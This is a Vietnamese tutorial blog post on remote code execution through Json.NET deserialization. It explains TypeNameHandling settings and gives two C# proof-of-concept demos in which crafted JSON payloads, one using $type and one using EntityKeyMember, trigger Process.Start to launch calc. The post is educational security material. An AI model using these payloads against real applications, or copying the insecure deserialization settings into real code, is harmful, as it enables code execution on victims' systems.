Lỗ hổng .NET deserialize 101 (P2)
Tiếp tục seri về .NET deserialization. Hôm nay mình sẽ giới thiệu với các bạn về JSON.NET
. Json.net
hay còn gọi là Newtonsoft.Json không phải là thư viện chính thức của microsoft nhưng có nhiều người dùng nhờ ưu điểm hiệu suất tuyệt vời. Hình ảnh dưới đây là biểu đồ so sánh hiệu suất:
Ví dụ về Json.Net
using Newtonsoft.Json;
using System;
namespace Json.NetSerializer
{
class Person
{
public string Name { get; set; }
}
class Program
{
static void Main(string[] args)
{
Person person = new Person();
person.Name = "jack";
string v = JsonConvert.SerializeObject(person);
string v1 = JsonConvert.SerializeObject(person, new JsonSerializerSettings()
{
TypeNameHandling = TypeNameHandling.None
});
string v2 = JsonConvert.SerializeObject(person, new JsonSerializerSettings()
{
TypeNameHandling = TypeNameHandling.All
});
Console.WriteLine(v);
Console.WriteLine(v1);
Console.WriteLine(v2);
Console.ReadKey();
}
}
}
Kết quả khi chạy đoạn code trên như sau:
Có thể thấy, khi tham số JsonSerializerSettings
với giá trị TypeNameHandling.All
được truyền vào, kết quả json trả về sẽ bao gồm cả thông tin về type vừa được serialize. Khi tham số trên không được truyền vào thì method SerializeObject
sẽ được gọi như bên dưới
Do các tham số đều là null nên jsonSerializer sẽ được khởi tạo với các tham số mặc định
Và rõ ràng thì internal const TypeNameHandling DefaultTypeNameHandling = TypeNameHandling.None;
TypeNameHandling có thể có các giá trị như sau
Json.Net
sử dụng constructor và setter trong quá trình deserialize. Sử dụng được với các interface. Chỉ các property có scope là public khi (de)serialize mới được gọi tới setter.
Điều kiện trigger RCE
Giá trị TypeNameHandling phải khác None
. Ngoài ra chúng ta phải control được giá trị Json truyền vào để thực hiện deserialize và object được deserialize phải có property có kiểu dữ liệu object
.
Nếu TypeNameHandling
có giá trị None thì property cần có kiểu dữ liệu System.Data.EntityKeyMember hoặc các kiểu dữ liệu kế thừa nó.
Tôi sẽ chia ra làm 2 case để demo cho dễ, case thứ nhất là TypeNameHandling khác None và case thứ 2 là TypeNameHandling bằng None
Demo
Trường hợp TypeNameHandling khác None
public class Person
{
public Person(string cmd)
{
this._cmd = cmd;
}
public string Name { get; set; }
private string _cmd;
public string cmd
{
get
{
return this._cmd;
}
set
{
this._cmd = value;
}
}
private void Run()
{
System.Diagnostics.Process.Start(this._cmd);
}
[OnDeserializing]
public void During(StreamingContext context)
{
this.Run();
}
}
public class Json
{
public Json() {}
public string id
{
get;
set;
}
public object a;
}
internal class Program
{
static void Main(string[] args)
{
Person person = new Person("calc");
person.Name = "jack";
Json test = new Json();
test.a = person;
string v2 = JsonConvert.SerializeObject(test, new JsonSerializerSettings()
{
TypeNameHandling = TypeNameHandling.All
});
Console.WriteLine(v2);
string payload = "{\"$type\":\"demo.Json, demo\",\"a\":{\"$type\":\"demo.Person, demo\",\"Name\":\"jack\",\"cmd\":\"calc\"},\"id\":null}";
Json a = JsonConvert.DeserializeObject<Json>(payload, new JsonSerializerSettings(){TypeNameHandling = TypeNameHandling.All});
Console.ReadKey();
}
}
Trường hợp TypeNameHandling bằng None
public class Person
{
public Person(string cmd)
{
this._cmd = cmd;
}
public string Name { get; set; }
private string _cmd;
public string cmd
{
get
{
return this._cmd;
}
set
{
this._cmd = value;
}
}
private void Run()
{
System.Diagnostics.Process.Start(this._cmd);
}
[OnDeserializing]
public void During(StreamingContext context)
{
this.Run();
}
}
public class Json
{
public Json() {}
public string id
{
get;
set;
}
public System.Data.EntityKeyMember b;
}
internal class Program
{
static void Main(string[] args)
{
string payload =
"{\"b\":{\"Key\":\"key\",\"Type\":\"demo.Person, demo\",\"Value\":{\"cmd\":\"calc\"}},\"id\":\"123\"}";
Json a = JsonConvert.DeserializeObject<Json>(payload, new JsonSerializerSettings(){TypeNameHandling = TypeNameHandling.None});
Console.ReadKey();
}
}
Với ví dụ thực tế hơn bạn đọc có thể đọc bài viết sau của mình. https://viblo.asia/p/phan-tich-lo-hong-thuc-thi-ma-tu-xa-tren-c1-cms-cve-2021-34992-OeVKBBDrKkW
Tham Khảo
https://github.com/Y4er/dotnet-deserialization/blob/main/Json.Net.md
All rights reserved